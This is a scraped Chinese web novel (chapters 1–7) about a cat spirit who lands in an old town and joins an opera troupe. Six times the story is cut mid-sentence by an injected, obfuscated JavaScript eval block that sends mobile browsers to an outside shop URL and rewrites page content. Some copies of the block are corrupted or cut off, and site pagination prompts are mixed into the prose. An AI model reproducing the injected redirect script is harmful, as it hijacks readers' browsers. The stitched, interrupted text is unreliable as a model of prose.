《快穿之九叔,哪里跑!》 第1章 我这是掉哪儿来了 “荡妇!” 静之皱起眉头,用小拇指抠了抠耳朵,额头青筋跳了跳,她上下打量着面前这个奇怪的男人。 这个男人穿着一身灰色的麻布衣服,左襟右衽,他的脚上穿着一双古老的白袜和黑色布鞋,仿佛从古代穿越而来。 最让静之震惊的是,他前额光溜溜的,脑后竟还剃着一条像电视剧里清朝时期满族人那样的金钱鼠尾辫。 静之摸着下巴,好奇地围着这个男人转了两圈: “兄弟,你拍戏啊?一来就叫荡妇,是否有些不礼貌?” 男子见她都被叫荡妇了居然还如此沉着,名节对她来说,难道不值一提? 他不知想到什么,忍不住伸出滑腻的舌头舔了下下唇,又暗暗打量了一下静之裸露在外的胳膊,斜着眼神朝静之笑得淫荡: “穿成这样,不是荡妇是什么,我看你奇装异服,莫不是唱戏的,嘿嘿,姑娘,要不跟了我,保你吃香喝——啪!” 静之甩了甩火辣辣的手,气得毛茸茸的立耳啵了一下就弹了出来。 “快告诉我东坪洲往哪个方向走,不然我抽死你!” 那男子抚着肿起一边的脸,瞳孔不停震荡着,指着静之的食指抖得跟中风了似的: “啊~~啊~~!妖女,猫妖出现啦~~~~~” 一声惨叫高亢嘹亮,刚拐了两个弯,两秒后戛然而止。 静之又甩了甩手,看着被她一掌击晕在巷口的男子,眉心拧得死紧。 傻逼。 “妖怪在哪里?” “梁兄,好像是前面巷子里传出来的声音。” “走,我们去看看。” “不,不了吧,您功夫好,您去吧,我,我家里还有事!” “你个孬种!通财,走,我们过去看看。” …… 妈的。 来得这么快? 静之头顶的立耳一动,听到有两个脚步声正缓缓接近。 她一咬牙,摇身一变,化做一只白猫,随着身形的缩小,身上的衣服散落一地,颈间的项圈此时也松了不少,头顶的发簪落在衣服上,她却来不及捡了。 她叼着项圈,快速从衣服堆里钻出来,然后用力一跳,稳稳地落在身旁倒扣着的编织框上。 接着伸出利爪,插入砖缝,三两下就爬到围墙顶端,跟着一跃到对面屋顶,矮下猫猫头,一双清凌的猫眼,机警转动着,暗暗观察着底下的环境。 …… 梁赞一掀衣袍半蹲下来,小心翼翼地探了探瘫倒在地上男子的鼻息。 确认对方还有气息后,他心中顿时松了一口气,但紧接着,他的视线就被不远处的那堆衣物所吸引。 “通财,把东西拿过来我看看。” “是,少爷。” 通财应了一声,大步跨过如同死狗一般躺在地上的男子,一路小跑到衣物旁,将它们紧紧抱在怀中。 然而,就在他刚刚站起身时,只听见“叮”的一声脆响,一根碧玉簪子从衣服上滑落,击中编织框的侧面,随后沿着锥形的框体侧面滑落至地面,再次发出清脆的声响。 梁赞闻声而起,目光投向地上的碧玉簪子,眉头微微皱起,说道:“通财,捡起来。” “哦哦哦……” 通财还处于傻眼的状态,听到少爷的命令,回过神来,重重地点了点头,急忙捡起发簪,并轻轻地拍打掉上面的灰尘,然后快步走到梁赞身旁。 “少爷,我真不是故意的,还好这发簪没摔坏,您看……” 梁赞接过簪子,将其举起对着阳光仔细端详。 只见那玉质晶莹剔透,触手温润细腻,显然是一块上等的美玉。 他家是首富,这样的好东西他见过不少,心中不禁感叹: ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14086456|149530||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 这东西,可值不少钱呢。 然而,它却被随意丢弃在这里,实在令人费解。 再细细观察这支簪子,发现它的样式与普通女子所用之物略有不同,反而更像是道士使用的物品,但尺寸又比通常所见略小一些。 这些奇怪的特征让他感到十分困惑,一时之间竟定在原地。 看了许久,既想不明,他也不再继续纠结这个问题。 他将簪子揣入怀中,然后挽起袖子,朝着通财扬了扬下巴,说道: “把人带去医馆,我去酒楼等你,还是老位置。” 说完,他毫不犹豫地转身走出巷子。 通财连忙快走几步,喊道: “少爷,这衣服怎么办!” 远处传来梁赞的声音: “你先拿着,等会儿带回府里,记住千万别让我爹看见。” 通财低头看了看手上的奇装异服,稀疏的倒八字眉皱得都快黏在一起了。 突然,衣服上的一缕银光引起了他的注意。 他轻轻捻起那根发丝从领口拔了出来。 好,好长,白色的,还,还发光。 “少,少少少爷~啊~~~~” 通财惊恐地瞪大了眼睛,一颗豆大的冷汗从他额前滑落。 他慌张地转身,不顾一切地拔腿就跑,完全忘记了身后还有一个昏迷不醒的男子。 …… 与此同时,对面楼顶的静之轻啧一声,揣着前爪趴在屋顶,一双灵动的眼睛紧紧盯着不远处的酒楼。 她若有所思地望着那里,心里暗自盘算。 衣服就算了,但是那支簪子,可是她与阿风之间的重要信物,无论如何她也要将其拿回来。 想罢,她立了起来,抖了抖被阳光晒得暖融融的身子,脚下轻跃,没几下,就跳到不远处的酒楼楼顶。 第2章 庆丰年? 刚到楼顶,还没站稳脚跟,就听到楼下传来一阵嘈杂的喧哗声。 静之心神一紧,急忙寻找到一处瓦片缝隙,小心翼翼地往里面张望。 只见刚刚拿走她发簪的男子,此时正和他的跟班悠闲地坐在那里饮茶吹水。 阳光透过瓦缝洒下来,正好照在他们的光头上,反射出耀眼的光芒,让她不禁眯起了眼睛。 她偷偷摸摸地打量了一圈周围的人,发现有的人留着头发,有的人则已经剃掉了,这让她感到十分困惑。 阿风那个破镜子究竟将她传送到了哪个年代? 这里看起来既不像是明朝,也不像是清朝,更不像是在演戏,因为她根本没有看到任何拍摄用的镜头。 正当她低头沉思时,两个陌生的小伙子像拖着一条死狗一样,拖着一个脸上有刀疤的男人从一楼走了上来。 他们只是瞄了梁赞一眼,便径直朝着他俩快步走来。 “你就是打通街的梁赞?” 梁赞拦住跟班的拉扯,一只脚踩到椅子上,挑了挑眉,满脸都是不可一世的神情,甚至还带着几分挑衅意味地说道: “就是我。” 刀疤脸一听这话,故作姿态地大笑了三声,然后朝着身旁的两个人使了个眼色,示意他们动手。 跟班们得到指示后,竟毫不犹豫地将他扔在了地上,丝毫不管他跌得痛苦哀嚎,只是径直冲向梁赞。 这一幕看似有些滑稽可笑,但静之却一点儿也笑不出来。 每当看到两个小伙的拳头朝梁赞的胸口挥去时,她的心都会不由自主地揪紧。 别别别! 别打那,我的簪子!!! 然而,随着时间的推移,她逐渐品出一些端倪。 原来,这个名叫梁赞的人虽然表面上神气活现,但实际上他的功夫,与阿风相比简直是天壤之别,也可以说是一塌糊涂。 不仅如此,周围不知何时突然冒出了许多小喽啰,而这些人似乎……都在有意无意地给梁赞喂招。 她眨了眨眼,试图看清当前的形势。 就在这时,梁赞猛地一脚将一个人踹翻在旁边的桌子上。 只听“啪”的一声,桌子瞬间四分五裂,桌上的汤汤水水也叮铃哐当地洒落一地。 这刺耳的动静顿时引起了众多食客的惊声尖叫,他们惊慌失措,四处逃窜。 原就嘈杂不堪的环境瞬间变得更加混乱,让静之的视线受到极大干扰,她不禁啧了一声。 只见她猫着身子,敏捷地沿着屋脊快走几步,然后迅速更换了一个位置,寻找了一个更好的观察点,扒开瓦片继续窥视屋内的情况。 “赞少爷,您看看,你们在这里打架,把我店里的东西都给打烂了!您看……” 老板焦急地说道。 梁赞不慌不忙,他双手背在身后,豪迈一笑: “诶,这些东西都算我的,通财,拿钱。” …… 靠。 原来是个大款! 那捡她的簪子做什么,啧。 瞧着他俩给完钱财下楼去了,静之快跑几步到屋檐,纵身一跃,跳下房屋跟了过去。 刚一出酒楼,一只小手就从后面伸了过来,静之如同背后长了眼睛,背部一凹瞬间躲过。 她警惕地往前跑了两步朝后一看,一垂髫小儿正俯身看她。 他扯了扯旁边妇女的裙子: “娘,是只白猫,毛好长,好漂亮呀,我们抱回去养?不过它尾巴怎么好像多了几条?”
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14086457|149530||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 抱,抱回去养? 静之毛都竖起来了,她呲出白色的尖牙哈了几声,背部紧紧弓着。 那妇女低头一看,数清楚尾巴那一刻,冷汗直逼脑门,她急急捂住小儿的嘴,一把把孩子夹在腋下就落荒而逃。 远远的,静之听到那妇女低声训诫的话: “臭小子,没听到刚刚有人叫猫妖吗,那猫有八条尾巴呢,一看就不正常,万一真是妖怎么办,以后你给我少出去玩!” …… 啧。 猫妖猫妖的叫,她是灵猫,才不是猫妖呢! 她正心里吐槽着,周边突然一片寂静,僵着脖子转头一看—— 嚯!好家伙! 仿佛被按了暂停键一般,路边买菜的,摆摊卖馄饨的,甚至连街边的乞丐都定在原地,皆张大了嘴看她。 这时,不知是谁大喊一声:“抓住它!” 众人醒神,跟丧尸围城似的朝她的位置冲了过来。 靠! 失策了,猫身也不好混啊! 静之钻过一个又一个裤裆,躲过一只又一只脏手油手,终于跑到人烟稀少的护城河边。 河边有一大排树,她挑了一棵最高的,三两下就窜到中段偏上位置,卷好尾巴,躲进枝叶繁茂的树叉后。 “到哪儿去了?” “不知道,刚刚看到往这儿跑了!” “算了算了,回去吧,我那摊子还没人看呢。” “也是,等会干完活计,我们去庆丰年看戏怎么样?听说那演潘金莲的可娇了,那细嗓,绕梁三日,不绝于耳啊!” “……你看得懂吗?还跟我搁这儿 咬文嚼字。” 这章没有结束,请点击下一页继续阅读! 第3章 遇见他 也许是庆丰年这个戏班在这里打响了名声,今晚来看戏的人特别多,夜晚本应萧条的街道,现下熙熙攘攘,且大部分人群都朝着不远处的戏台子走,本应宽阔的大街,此时挤得不行。 静之从巷子里出来,一转身就汇入人流,刚走几步,就见到前面有一人鬼鬼祟祟的。 她抬眼一看,那男子贼眉鼠眼的,紧紧贴在一中年大叔身后。 大叔走得不快,逢人便往他们手里塞一张微黄的纸,说: “今晚庆丰年有新戏上演,潘金莲妄吊武松未逞,反向大郎告状,包精彩!诸位不妨前来一观。” 那男子见他正忙着,一手捻了捻脸上大痣长的独根胡须,一手朝他那大叔腰间一晃一晃的钱袋勾去。 正要勾中,一卖糖的葫芦小哥迎面走来,大叔侧身让路,顺势往小哥怀里塞张传单: “小丁啊,要不等会去我戏台下面走走啊,那儿人更多。” 那小偷见时机不对,赶紧转身假装看摊子上的饰品,又拿眼神偷瞄这边动静。 小丁笑了笑: “呦,班主啊,今儿怎么是您亲自出来发传单了,再说了,我还不知道您在想什么吗?” 他凑近嘴巴:“嘿嘿,要我去您那儿勾点馋嘴的过来看戏啊?” 班主摸两把胡须,肩撞肩怼了怼他,讪笑一下: “都是混口饭吃,你也不亏嘛。” 小丁挑了挑眉: “没问题,不过等会得给我留个好位置,我这还有卖瓜子的呢,坐前排我还能卖一拨。” “你小子!好好好,给你留给你留!一起走!” 说完,两人各怀心思并排着往前走去。 静之默默地走着,心中还想着刚才发生的事情,忍不住又瞅了一眼那个小贼。 果然不出所料,只见那小贼绕过摊子后,再次悄悄地靠近了那位班主。 她磨了磨牙,拳头有些发痒。 怎么什么年代都有这种下三滥存在。 而此时,那只贼手正不断地一勾一勾,似乎正在等待最佳的下手时机。 就在人群的一次晃动中,那小贼竟然真的成功地用手指勾住了钱袋的绳子。 与此同时,那男子紧紧地贴着班主,另一只手迅速一抖,从袖口滑落出一把锋利的匕首。 寒光一闪而过,绳子瞬间断裂,钱袋稳稳地落入了小贼的手中。 就在这时,一颗石子如闪电般飞来,准确地击中了男子拿匕首的手。 他吃痛手一松,匕首哐的一声落地,这声儿在嘈杂的环境中并未引起过多关注。 静之却敏锐地听到了,她动作敏捷,顺势捏住他的手腕,用力一扭将其扭转到身后。 与此同时,另一只手迅速压在他肩上,脚下猛力一踹腿弯。 猝不及防,他身体失去平衡,瞬间单膝跪地。 那贼人疼得直抽冷气,却仍不忘回过头压低声音威胁道: “小丫头,赶紧放开我,否则休怪我不客气!” 静之冷哼一声,正欲将钱袋夺回,身后的人群此时却还在不断往前拥挤,静之一个踉跄,男子见状趁势往前一扑,刚想使出金蝉脱壳之计—— 想跑?没门! 此时,静之遭身后之人猛力一推,她索性借其背部之力向前翻腾,顺势抓住他的双手向后一扭,宛如雄鹰展翅,同时高声喊道: “有小偷偷钱,诸位莫动,速查钱袋是否还在!!” 事发时作壁上观,临到 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14086458|149530||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 自身方知焦虑。 人群即刻止住推搡,纷纷咒骂之际,亦紧张地摸向自己腰间。 趁小偷心虚惊恐的刹那,静之迅速夺过其手中钱袋,正欲一掌将其击昏,岂料他被松开的那只手迅速拾起地上匕首,朝静之喉部挥去—— 一道夺目白光闪过,她本能地仰头避让,并一脚向上踢向他手中的兵刃。 匕首飞至空中,静之怕伤及无辜,脚下一蹬跃至空中稳稳接住,刚落地站稳身子,却见那小偷已然踪迹全无。 “靠!跑得倒是挺快!” 她正踮脚向后张望着,这时一只手伸过来拍了一下她肩膀—— 她一惊。 这贼还有同伙? 她咬牙并着钱袋子捏住他手腕一个擒拿手,瞬间又把这胳膊死死反剪在身后。 “诶诶诶,是我,我不是小偷,你手上的钱袋子是我的,哎呦~放开放开!要断了!” 她眼神一凛,察觉抓错了人,略带窘迫地松开手: “唔……抱歉,我还当您是方才那小贼。” 边道歉,她边将手中钱袋交还于他。 罢,抓小偷竟抓到了受害人身上,也是没谁了。 班主一手揉着肩,一手接过钱袋,刚抬起头,即刻被静之的容颜和特殊的气质惊得呆立原地。 只见她身姿曼妙,心形的小脸上一双杏眼微微上挑,细长的剑眉此刻微微皱起,那一点朱唇紧紧抿着,正满含歉意地望着他。 容貌倒是清丽婉约,可他却莫名觉得她眉眼之间透着一股寻常女子所没有的洒脱与灵动。 他凝视良久,静之轻咳一声,班主方才回过神来,略显尴尬地拱手道: 这章没有结束,请点击下一页继续阅读! 第4章 好怪啊,再看看。 这人…长得好像阿风啊,阿风也被吸进那镜子里头了? 可,可是阿风他最正经了,甚至可以说有些古板,他可不会这样…扭屁股。 她可是连做梦都不敢这样做的,于是立即给了自己一个大嘴巴子醒醒神,眼神却依旧粘在那花旦身上。 好,好怪啊…… 但是还怪好看的,再,再看看。 棚内灯火通明,照在花旦头发的点点珠翠上,随着花旦身姿的摇曳,有些晃人眼。 静之却觉得他眸中两点墨色更吸睛,她的视线一寸一寸临摹着他的眼,鼻,嘴,渐渐又往下—— 额,脖子被高高的领子挡住,看不见什么。 在往下,落到他腰间掐着的极为标准的兰花指上。 她眼一闭,嘴角抽得不行,这人…怎么也不能是阿风吧。 静之有些泄气,她攥着旁边的深红布帘刚伸出一点头确认,一只大手拎着她的后领口拖入后面,乐声渐远。 被拖着倒退几步的她,反射性手向后想抓住来人,那人当即放开手并后退两步,熟悉的声音响起: “是我,外面正演着呢,别太出去。” 静之转头一看,是班主,眉头渐渐皱起: “有事?” 边说着,她又回过头急切地往前几步,想撩开那盖得严实的厚重幕布再往外瞧瞧。 “莫去,我有事找你。” 步子一止,她蹙着眉心暗暗不耐: “……什么事?” 班主扬了扬手上一沓纸,郑重说着: “我想了想,你要入戏班,还是签个契更为稳妥,我这有备用的,你看看。” “这样啊……” 啧,该来的还是得来。 他走了过来,将契书递到静之手上: “这契书,分别有长契跟短契,还有直接买断个人的卖身契,你看看,你要签哪种?” 话虽这样说着,他舔了一下手指,把夹在中间的卖身契往外扽了两下,抽出来掩在身后。 毕竟,她对他有恩在先,他可不能这么驴人家小姑娘。 契书用毛笔书写,字迹龙飞凤舞的,她莫名觉得有些眼熟,只不过这通篇文言文,看得她有些头痛。 她瞅一眼背着手的班主,默默走到最里侧的梳妆台前坐下,将正中间的颜料往旁边推了推,放平文书借着油灯仔细看着,看了一会儿,她又暗暗瞅一眼班主,却被抓个正着。 “怎么?不识字啊?” 班主心里一咯噔,他原以为她就算家道中落,家里应该也有请先生启过蒙,难不成,她是贫苦人家娇养着的女儿? “……不,不是。” 静之吞吞吐吐,心里却在想着,这两份文书,她是一份也不想签,十年的就算了,这一年的…难道她就要在这里待一年吗? 阿风跟孩子们可还在等着她呢! 她越想嘴抿得越紧,几张契书被攥得泛起一阵轻响。 班主见她这样,只得出声解释,他指了指戏台入口: “刚刚那花旦,你见到了吗?此次我是想叫你照顾他起居,他虽看着娇柔,但是心里主意正得很,我怕他不同意,所以……” 静之幽幽看了他一眼,又隔着幕布,仿佛望到外头去: “所以你就先下手为强呗,班主……她叫什么名字?” 到底,是不是她的阿风啊? 见她回应了,班 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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她轻轻转过身子,将胳膊随意地搭在椅背上,手捧着脸颊,入迷地注视着隔壁那位大哥,他正拿着毛笔细细往自个儿脸上绘制黑白色的脸谱。 这时,一阵急促的脚步声打破了这片祥和。 她转过头去,只见几位穿着兵服的兄弟从她身后匆忙走过。 他们迅速拿起她面前武器架上的兵器,接着快走几步掀开布帘,一道明亮的光线瞬间袭来,让她有些睁不开眼。 他们排成一列,一个接一个小跑到戏台上。 帘子重新落下,后台再次陷入一片昏暗之中。 “这应该是在换场景吧......”她正暗自思忖着,耳边听到刚刚离开不久的班主不知道和谁在交谈,话语中竟然带着一丝不易察觉的颤抖: “三位,请问你们来到后台......” “诶,你一定是想问我们有什么贵干的吧!我告诉你吧,这个地方是我的地盘。” “那,那你们是来收保护费的?” 透过跟前竖着的一溜儿武器缝隙,静之看到班主面露难色,置于身后的拳头却突然攥紧。 她眉头一拧,心中暗叫不好,立即站起身来,拂开跟前红缨枪的穗子,放轻脚步从班主后面慢慢走了过去。 没走几步,便看到一个穿着黑色带金钱纹袍子的凸嘴男人,他满脸肥肉,神情猥琐,身旁还跟着两个流里流气的小喽啰,眼神轻佻,不停四处张望着。 那男人似乎在寻找什么人,但并没有找到目标,他撇了撇嘴,头也不回,撩开中间挂着的戏袍接着到处乱看: “我们像那种人吗?我们啊,是来请你们花旦吃宵夜的。” 男人故意提高音量,语气中带着几分挑衅。 班主有些怔愣,一时不知如何应对: “花旦,你是说哪个花旦?” 他这花旦好几个呢。 凸嘴男突然转过头来,俯下身凑在班主耳边,边淫笑边挑眉: “那当然是刚刚演潘金莲的那个啦!” 那笑,几分油腻,几分猥琐,还带着一分下贱,旁边两个黑衣男子也搓着下巴,跟着笑了两下,又怼了怼凸嘴男的肩膀附和。 静之脸色立马黑了下来。 不管那花旦有多怪,长得像阿风的人被流氓骚扰,她是怎么也咽不下这口气。 于是悄悄走到班主跟后,刚撩开他肩膀,欲跟三个地痞流氓讨教讨教拳脚。 昏暗的后台突然一亮,幕布挑起一角,呢侬软语瞬间窜入耳蜗: “我在这儿,让我跟他们说吧~” 静之抬眼一瞅,原是那花旦已然下场,这会儿正站在后台入口处,背后的光打在那白色幕布上,更显得身着红色戏袍的二娣身姿婀娜。 三个流氓看了看静之,又回头看二娣,一时间目不暇接,不知道该看哪个好。 “大哥,这个更正点诶,你不是要请那花旦吃饭吗,这个便给我吧~嘿嘿” 凸嘴男身侧的小弟谄媚笑着,又拿一双轻佻的招子上下打量着静之,刚上前一步,班主赶紧扯着静之来到二娣的梳妆台前,并把她护在身后。 他悄悄 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14086460|149530||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 凑近二娣耳边: “她对我有恩,你保保她。” 二娣瞟了静之一眼,眼里突然闪过一丝惊艳,但很快便恢复那漫不经心的样子,他翘着兰花指拔着头上花细,边轻笑一声说着: “你是从哪里带回来的姑娘,怎么,戏班里的花旦不够你使唤的~” 班主警惕地看了两眼凑过来的流氓三人,又把静之往身后捎了捎,这才双手合十,一脸尬笑对着二娣: “回头我跟你解释。” 说罢,他又对二娣挤眉弄眼,示意他看看身后快摸上他的魔爪。 “啪!” 魔爪被打落。 凸嘴男摸着火辣辣的手背,恼羞成怒对着环胸站立的静之怒骂: “小娘皮,敢打我,你……” 拳头刚扬起,两条手指轻轻夹住他手腕,男人往外拔了拔,却是再不能后退一步。 顺着手指往回看,他突然对上二娣那双似笑非笑的眼,腿一下就被电软,俩狗腿子赶紧架起他。 他却故作英勇,一人给了那俩呆子后脑勺一巴掌,然后狗腿的把头伸向二娣,又急不可耐摸了一把他的脸。 二娣斜眼嗔他一下,一掌拍下那只咸猪手,一个白眼翻得风情万种,看得凸嘴男不禁浑身一抖。 他侧过头直勾勾盯着二娣的脸笑: “你的脸真滑,你叫什么名字啊?” 二娣睨了他一眼,余光带过欲言又止的静之,暗暗叹了口气: “我姓梁,叫二娣。” “二娣啊~”他回头对着两个跟班暗喜:“连名字都起得这么风骚啊。” 小主,这个章节后面还有哦,请点击下一页继续阅读,后面更精彩 ! 第6章 是的,娇俏。 “外面的人恨不得多听我唱几句呢,我的声音…难道不好听吗?” 二娣被静之说得心气有些不顺,仿佛要跟她置气般,他一直维持着戏嗓,又故意掏出腰间掖的粉色帕子绞了绞,捏成一团往静之脸上扬去。 帕子是纱质,普通人扔过来,理应在半空中就散开,他这一掷,好似用了寸劲儿,都快到静之眼前了,仍是团状。 静之刚嗅到一点迎面而来手帕的香气,一只肥厚的手突然从她余光滑入,眼瞅着就要接住那团手帕,她鬼使神差,不想让那脏手碰到二娣的东西。 于是左手滚着那流氓手腕往下一按,右手成爪稳稳接住帕子。 接住后,她却收也不是,放也不是,一时之间不知道该拿这条帕子怎么办才好。 手僵在面前,拇指与食指不由自主捻了捻那还带着余温的帕子。 “你一个女人,要什么戏子的帕子,不要就别捏着,给我!” 那仿若地主家傻儿子的凸嘴流氓左手被静之死死捏着,见静之抓着帕子不动,竟右手抻直做鞭状,朝静之太阳穴袭来。 “呦,还懂声东击西呢,傻…傻子!” 刚刚被二娣一骂,那句傻逼,静之此时怎么也骂不出口。 她心里闪过一丝怪异,身子却是下意识地侧身躲过一击,又趁流氓身子惯性朝前,脚底猛猛踹向他脚踝。 流氓当即脸朝地面扎去,一颗带血的牙崩到对面二娣脚边,二娣嫌弃得提着裙摆翘起二郎腿躲过。 这时流氓捂嘴闷哼不止,两个跟班赶紧上前一人一手把他往后拖。 见二娣一动,静之右手手腕用力使了几分力气将帕子又掷了回去,她有意试试她,毕竟她刚刚掷过来的力道,可不像一个普通花旦能有的。 轻微破空声响传入耳际,二娣眼里闪过一丝惊讶,眼看帕子成团划过他脸侧,静之以为她接不住时,二娣头一侧,伸出二指稳稳夹住又捞了回来。 却是把那帕子散开抵到唇边轻笑一声,嗓子越发婉转,又故意拿兰花指虚空点一下静之: “我刚刚的问题,你还没回答呢~” 静之瞬间明白林风平时被她调戏时的感受,手脚发麻,头脑发懵,喉咙里跟堵了团棉花似的,半晌才囫囵说了句: “好,好听,就是有些不习惯。” 毕竟她对林风的印象从来都是正经且严肃的,私底下他有时也会向她别扭的撒娇。 但她从未想过,这张熟悉的脸,还能如此……娇,娇俏。 是的,娇俏。 她想破头,也想不出来,这两个字竟能如此怪异又和谐的安在这张脸上。 那流氓见这两个美人居然兀自聊起来了,自尊心瞬间受到了一万点暴击。 他呸了口血沫,跟两个跟班暗暗对了个眼神,三人瞬间一拥而上,各个捏紧拳头一个直拳就朝离他们最近的二娣打去。 二娣稳稳坐在椅子上,手上你来我挡,以柔克刚,一一化解他们的招式,她眼皮耷拉一下,看这三人下盘没一个稳的,嘴角突然勾起,左右腿一抬,突然狠狠踹向两个黑衣喽啰胸口。 静之也不知道这二娣削瘦的身板哪儿来的力量,那两个喽啰被她这一踹竟然飞了出去。 那凸嘴流氓见只剩他一人进攻了,他心一急,竟然不管不顾的,左右手前后狠狠发了两拳,欲趁二娣不备,打她个措手不及。 哪知二娣又是翩然一笑,纤长的两手贴着他腕部一转,先后卸去他两手力 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14086461|149530||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 道,流氓见手到眼前,赶紧抓住她的手腕把她身子往前一带,另一手还没捏起拳头发起进攻呢,二娣顺势向前,肩膀一侧猛地发力,把他怼翻在地。 那凸嘴男哀嚎一声刚要爬起,二娣一个侧身入马,稳稳坐在他身上,甚至还有闲情翘起小二郎腿对着静之眨了眨眼,接着话题: “怎么不习惯,长这么大没看过戏呀~” 静之瞬间感觉一阵窒息,她僵着脖子缓缓侧过脸去,不敢再看二娣那双仿佛带着钩子的眼: “看过。” 电视上看过,社区里过年过节的时候也看了几场,但她就是觉得怪怪的。 顶着林风的脸,做着这样的举动,让她不禁感觉一阵新奇,又怪,又让人怪想再看几眼。 这样想着,她偷摸斜过眼珠子瞄了二娣一眼,哪知他正盯着她瞧呢,这一下就被抓到了。 二娣看着她侧着的脸,红到透亮的那只耳朵,暗暗一笑,于是故意朝她抛了个媚眼。 “???” 靠靠靠! 受不了了!! 静之被娣这一眼电得头发差点竖起。 这次整个身子僵得不行,腿竟也有些发软,她一点一点转动着脚脖子,最后侧对着二娣,直着脖子看着一脸为难的班主。 看着班主,她想,要不是外面还在演着,她早就夺门而出了。 话说…外面怎么没声儿了? 她正疑惑着,那流氓头子又不死心似的,身子一矮,手脚并用爬出二娣身下,刚后退几步,他又咬着漏风的牙,不要命似的,一拳朝刚站直身子的二娣砸了过去。 小主,这个章节后面还有哦,请点击下一页继续阅读,后面更精彩 ! 第7章 不想去我去跟班主说~ 听到一陌生的男中声,静之侧头瞥了一眼,小伙高高帅帅,但是直勾勾的眼神让她有些不喜。 她心里有些纠结,这人…是刚刚扮演武松的小生吧,以后还要常见面,不说话好像不太好。 啧,钱难挣屎难吃啊。 她咬咬牙,冷声回复: “林静之。” 多一个字都没有。 “静之啊……你来这里干什么,看戏是要坐外头的,这里不能随便进来。” 阿桂嘴角微微上扬,眼中闪过一抹不易察觉的自得,心里暗爽。 莫非……这又是一个被他的英俊外表吸引,而不顾礼节径直闯入此处的女子? 此外,她的名字甚是悦耳,容貌也颇为秀丽,正是他所钟意的类型,只是她头上的破布条略显突兀。 静之有些烦,她放下被抠得卷起的衣角。 刚刚被二娣左一个媚眼右一个媚眼引出的一腔羞意已然被这个不速之客打散,她索性回头朝班主走去,就留下“做工”二字。 “诶诶诶,你做何工啊,我怎不知戏班里来了新人!” 见她转身就走,阿桂一个着急伸手就想扯她胳膊,怎料她穿行在后台的过道里走得极快,阿桂扑了个空,指甲却勾到一根线头,他下意识握住往后一扯—— 走在他前方的静之头上布条骤然松开,盘成圈的及腰长发顺时针转了几圈弹开,如瀑布般垂落于背。 发如银丝,并非黯淡无光,在昏暗的后台竟还能隐约闪烁微芒,柔顺的披在她背上,可见发质极好。 但少年白头属实怪异,阿桂一时竟有些迟疑,一同目睹此景的,还有正朝静之走来的班主与二娣。 “静之啊,你这头发……” 这时有个人从身侧快速经过,扬起一阵微风,有几丝碎发朝前飘拂,扬起至静之侧脸。 静之在瞄到那缕碎发时就暗道不好,此时心里恨不得把身后偷袭之人拉出去攮个两拳。 来不及看班主是什么脸色,她面露苦楚,一双杏眼瞬间盈满泪水,单薄的肩膀微微内缩,小嘴紧抿,下唇开始颤抖起来: “班主,我并非有意隐瞒,自从我爹娘一年前相继染病离世,我……呜呜呜” 话未说完,众人已自行脑补完整,她这是……悲伤过度,一夜白头了?! 着实可怜。 